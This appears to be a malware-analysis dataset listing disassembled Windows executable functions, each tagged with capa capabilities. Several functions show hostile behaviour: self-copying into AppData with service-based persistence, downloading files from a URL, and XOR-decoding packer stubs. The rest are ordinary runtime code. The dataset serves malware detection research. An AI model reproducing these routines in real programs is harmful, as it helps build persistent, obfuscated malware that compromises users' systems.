joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401949
Capabilities:
Copy file
Create directory
Create service
Persist via run registry key
Persist via windows service
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
mov edi, 0x104
xor ebx, ebx
push edi
lea eax, [ebp - 0x114]
push ebx
push eax
call fcn.00402120
push edi
mov esi, 0x40b018
push ebx
push esi
call fcn.00402120
add esp, 0x18
lea eax, [ebp - 0x114]
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
call fcn.004023a0
mov dword [0x40b24c], eax
mov dword [esp], 0x208
call fcn.004023a0
push edi
push ebx
push dword [0x40b24c]
mov dword [0x40acdc], eax
call fcn.00402120
push 0x208
push ebx
push dword [0x40acdc]
call fcn.00402120
lea eax, [ebp - 0x114]
push eax
push dword [0x40b24c]
call fcn.004022b0
add esp, 0x24
push 0x208
push dword [0x40acdc]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 4]
push eax
push 1
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401ad7
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], 1
push eax
lea eax, [ebp - 0x10]
push esi
push eax
push ebx
push str.Common_AppData
push dword [ebp - 4]
mov dword [ebp - 0xc], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401ad7
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x40804c
push esi
call fcn.004022c0
mov edi, 0x40af68
push edi
push esi
call fcn.004022c0
add esp, 0x10
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x40804c
push esi
call fcn.004022c0
push edi
push esi
call fcn.004022c0
push str..exe
push esi
call fcn.004022c0
add esp, 0x18
lea eax, [ebp - 0x114]
push ebx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x401ad7
push 2
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x401ad7
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push 1
push 2
push 0x10
push 0xf01ff
push edi
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
cmp eax, ebx
jne 0x401ade
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call esi
push dword [ebp - 8]
call esi
push 1
pop eax
jmp 0x401ad9
Function at 0x4028a7
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0
push 0
push 0
push 1
mov ebx, 0x264
call sub.wmvert.dll_wm_GetTempFileName
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4028ed
push ebx
call fcn.00404ba8
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], esp
push 0
push 0
push dword [ebp - 4]
mov ebx, dword [ebp + 8]
push dword [ebx]
push 0
mov eax, 1
call sub.urlmon.dll_URLDownloadToFileA
cmp dword [ebp - 0xc], esp
je 0x402931
push 0x52
push 0x401167a
push 6
call fcn.00404bc0
add esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40296e
push 0x80000004
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x402951
mov eax, 0x407405
push eax
push 1
mov ebx, 0x244
call sub.wmvert.dll_wm_Kill
add esp, 0x10
mov eax, 0x407405
jmp 0x402a69
push 0x80000004
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x402981
mov eax, 0x407405
push eax
push 1
mov ebx, 0x268
call sub.wmvert.dll_wm_ReadFile
add esp, 0x10
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push 0x80000301
push 0
push 0xa
push 0x80000005
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x4029bc
mov eax, 0x41192a
push eax
push 3
mov ebx, 0x19c
call sub.wmvert.dll_wm_GetBinData
add esp, 0x28
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], ecx
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4029e8
push ebx
call fcn.00404ba8
add esp, 4
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x80000004
je 0x402a0a
push 0xf9
push 0x401167a
push 5
call fcn.00404bc0
add esp, 0xc
mov eax, dword [ebp - 0x18]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402a1e
push ebx
call fcn.00404ba8
add esp, 4
pop eax
mov dword [ebp - 8], eax
push 0x80000004
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x402a35
mov eax, 0x407405
push eax
push 1
mov ebx, 0x244
call sub.wmvert.dll_wm_Kill
add esp, 0x10
mov eax, dword [ebp - 8]
test eax, eax
je 0x402a64
push eax
mov ebx, eax
call fcn.00401000
inc eax
push eax
call fcn.00404bae
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x402a69
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402a7a
push ebx
call fcn.00404ba8
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402a8a
push ebx
call fcn.00404ba8
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x404de0
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
cmp edi, 1
jle 0x404dfb
mov eax, dword [esi + 0x14]
test eax, eax
je 0x404dfb
mov eax, dword [esi + 0xc]
jmp 0x404dfd
xor eax, eax
mov edx, dword [esi]
lea ecx, [esp + 0x10]
push ecx
push 0
push eax
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [esp + 0xc]
xor ecx, ecx
test eax, eax
setne cl
cmp edi, 3
mov dword [edx], ecx
jl 0x404e33
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x404e33
mov ecx, dword [esi + 0x18]
pop edi
pop esi
mov dword [ecx], eax
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
ret

Function at 0x404e70
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [esp + 0xc]
push 0xffffffffffffffff
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, dword [esp + 4]
mov dword [edx], eax
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403daa
nop
sub eax, reloc.avifil32.dll_AVIStreamRelease
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x64907d6e
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
nop
mov eax, section..reloc
mov ebx, 0x42f3f8
nop
mov ecx, 0x656c2857
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x431084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401006
sub eax, edx
mov dword [esp], eax
je 0x401061
mov eax, dword [esp + 8]
mov edx, eax
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401020
push esi
push edi
mov edi, ebx
sub eax, edx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401030
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
pop edi
pop esi
je 0x401061
test al, 0x10
jne 0x401061
mov eax, 1
pop ecx
ret
xor eax, eax
pop ecx
ret
Function at 0x401b42
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x406ad8
call fcn.004028cc
mov edi, 0x94
mov eax, edi
call fcn.00401ae0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x408478], ecx
mov eax, dword [esi + 4]
mov dword [0x408484], eax
mov edx, dword [esi + 8]
mov dword [0x408488], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x40847c], esi
cmp ecx, 2
je 0x401ba2
or esi, 0x8000
mov dword [0x40847c], esi
shl eax, 8
add eax, edx
mov dword [0x408480], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x401bdd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401bdd
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x401bf5
cmp eax, 0x20b
je 0x401be2
mov dword [ebp - 0x1c], esi
jmp 0x401c09
cmp dword [ecx + 0x84], 0xe
jbe 0x401bdd
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x401c03
cmp dword [ecx + 0x74], 0xe
jbe 0x401bdd
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push esi
call fcn.0040287b
pop ecx
test eax, eax
jne 0x401c35
cmp dword [0x408468], 1
jne 0x401c22
call fcn.00402030
push 0x1c
call fcn.00401eb9
push 0xff
call fcn.00401d1e
pop ecx
pop ecx
call fcn.004027d9
mov dword [ebp - 4], esi
call fcn.0040262e
test eax, eax
jge 0x401c4e
push 0x1b
call fcn.00401b1d
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x40a514], eax
call fcn.0040250c
mov dword [0x408460], eax
call fcn.0040246a
test eax, eax
jge 0x401c74
push 8
call fcn.00401b1d
pop ecx
call fcn.00402237
test eax, eax
jge 0x401c85
push 9
call fcn.00401b1d
pop ecx
push 1
call fcn.00401d4e
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x401c9b
push eax
call fcn.00401b1d
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.004021da
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x401cbc
movzx eax, word [ebp - 0x40]
jmp 0x401cbf
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.004014a0
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x401cdd
push edi
call fcn.00401e79
call fcn.00401e9b
jmp 0x401d0f
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.00402907
ret
Function at 0x401db8
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp dword [0x4084b8], esi
push edi
jne 0x401dd8
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp + 0xc], 0
mov al, byte [ebp + 0x10]
mov dword [0x4084b4], esi
mov byte [0x4084b0], al
jne 0x401e3e
mov ecx, dword [0x40a508]
test ecx, ecx
je 0x401e1f
mov eax, dword [0x40a504]
sub eax, 4
cmp eax, ecx
jmp 0x401e18
mov eax, dword [eax]
test eax, eax
je 0x401e0a
call eax
mov eax, dword [0x40a504]
sub eax, 4
cmp eax, dword [0x40a508]
mov dword [0x40a504], eax
jae 0x401e02
mov eax, 0x40801c
mov esi, 0x408020
cmp eax, esi
mov edi, eax
jae 0x401e3e
mov eax, dword [edi]
test eax, eax
je 0x401e37
call eax
add edi, 4
cmp edi, esi
jb 0x401e2f
mov eax, 0x408024
mov esi, 0x408028
cmp eax, esi
mov edi, eax
jae 0x401e5d
mov eax, dword [edi]
test eax, eax
je 0x401e56
call eax
add edi, 4
cmp edi, esi
jb 0x401e4e
cmp dword [ebp + 0x10], 0
pop edi
pop esi
jne 0x401e77
push dword [ebp + 8]
mov dword [0x4084b8], 1
call fcn.00401d1e
pop ebp
ret

Function at 0x401eb9
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x408320]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x4081e8]
je 0x401eee
inc eax
cmp eax, 0x13
jb 0x401edf
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x4081e8]
jne 0x402014
mov eax, dword [0x408468]
cmp eax, 1
je 0x401fec
cmp eax, edx
jne 0x401f1e
cmp dword [0x4081e4], 1
je 0x401fec
cmp ecx, 0xfc
je 0x402014
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x401f54
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.00402be0
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.00402ce0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x401f88
mov eax, edi
push eax
call fcn.00402ce0
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x406ef0
push edi
call fcn.004019b0
add esp, 0x10
push edi
call fcn.00402ce0
push dword [esi + 0x4081ec]
mov ebx, eax
call fcn.00402ce0
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.00401ae0
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.00402be0
push edi
push ebx
call fcn.00402bf0
push 0x406ed0
push ebx
call fcn.00402bf0
push dword [esi + 0x4081ec]
push ebx
call fcn.00402bf0
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.00402add
add esp, 0x2c
jmp 0x402014
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x4081ec]
push dword [esi]
call fcn.00402ce0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.00402d9c
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret
Function at 0x402add
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x4085d4], ebx
push esi
push edi
jne 0x402b5d
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x402b98
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x406f84
push edi
call esi
test eax, eax
mov dword [0x4085d4], eax
je 0x402b98
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x4085d8], eax
call esi
cmp dword [0x408478], 2
mov dword [0x4085dc], eax
jne 0x402b5d
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x4085e4], eax
je 0x402b5d
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x4085e0], eax
mov eax, dword [0x4085e0]
test eax, eax
je 0x402ba2
call eax
test eax, eax
je 0x402b89
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x4085e4]
test eax, eax
je 0x402b89
test byte [ebp - 8], 1
jne 0x402ba2
cmp dword [0x408484], 4
jb 0x402b9c
or byte [ebp + 0x12], 0x20
jmp 0x402bc1
xor eax, eax
jmp 0x402bd1
or byte [ebp + 0x12], 4
jmp 0x402bc1
mov eax, dword [0x4085d8]
test eax, eax
je 0x402bc1
call eax
mov ebx, eax
test ebx, ebx
je 0x402bc1
mov eax, dword [0x4085dc]
test eax, eax
je 0x402bc1
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x4085d4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4041ee
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x40421c
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x404223
cmp ebx, dword [eax + 4]
jae 0x404223
xor eax, eax
jmp 0x404413
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x404234
xor eax, eax
inc eax
jmp 0x404412
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x40424a
cmp ecx, edx
jae 0x40438f
cmp dword [eax + 4], 0
je 0x404253
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x40423b
cmp dword [ebp + 8], 0
je 0x404275
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x40438f
cmp eax, esi
jae 0x40438f
mov eax, dword [0x4085f0]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x40429a
cmp dword [esi*4 + 0x4085f8], edi
je 0x404393
inc esi
cmp esi, eax
jl 0x404288
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x40440f
cmp dword [ebp - 8], 0x1000000
jne 0x40440f
test byte [ebp - 0xc], 0xcc
je 0x404318
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x40440f
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x40440f
cmp word [eax + 0x18], 0x10b
jne 0x40440f
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x40440f
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x404318
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x404318
test byte [ecx + 0x27], 0x80
jne 0x40438f
push 1
push 0x408638
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x40422c
mov ecx, dword [0x4085f0]
test ecx, ecx
mov edx, ecx
jle 0x40434c
lea eax, [ecx*4 + 0x4085f4]
cmp dword [eax], edi
je 0x40434c
dec edx
sub eax, 4
test edx, edx
jg 0x404340
test edx, edx
jne 0x40437d
push 0xf
pop ebx
cmp ecx, ebx
jg 0x404359
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x404371
lea eax, [edx*4 + 0x4085f8]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x40435f
cmp ecx, 0x10
jge 0x40437d
inc ecx
mov dword [0x4085f0], ecx
push 0
push 0x408638
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x40422c
xor eax, eax
jmp 0x404412
test esi, esi
jle 0x40422c
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x408638
call ebx
test eax, eax
jne 0x40422c
cmp dword [esi*4 + 0x4085f8], edi
je 0x4043e9
mov eax, dword [0x4085f0]
lea esi, [eax - 1]
test esi, esi
jl 0x4043d7
cmp dword [esi*4 + 0x4085f8], edi
je 0x4043d3
dec esi
jns 0x4043c7
test esi, esi
jge 0x4043e7
cmp eax, 0x10
jge 0x4043e2
inc eax
mov dword [0x4085f0], eax
lea esi, [eax - 1]
jmp 0x4043e9
je 0x404401
xor ecx, ecx
test esi, esi
jl 0x404401
lea eax, [ecx*4 + 0x4085f8]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x4043ef
push 0
push 0x408638
call ebx
jmp 0x40422c
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40529c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.00401ae0
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x405337
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x408478]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x405337
cmp eax, 1
je 0x405358
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x405337
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x405304
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x405333
xor eax, eax
inc eax
jmp 0x405377
cmp edi, eax
jae 0x40533b
xor eax, eax
jmp 0x405377
cmp eax, esi
jae 0x405342
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x408478]
jmp 0x40535b
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219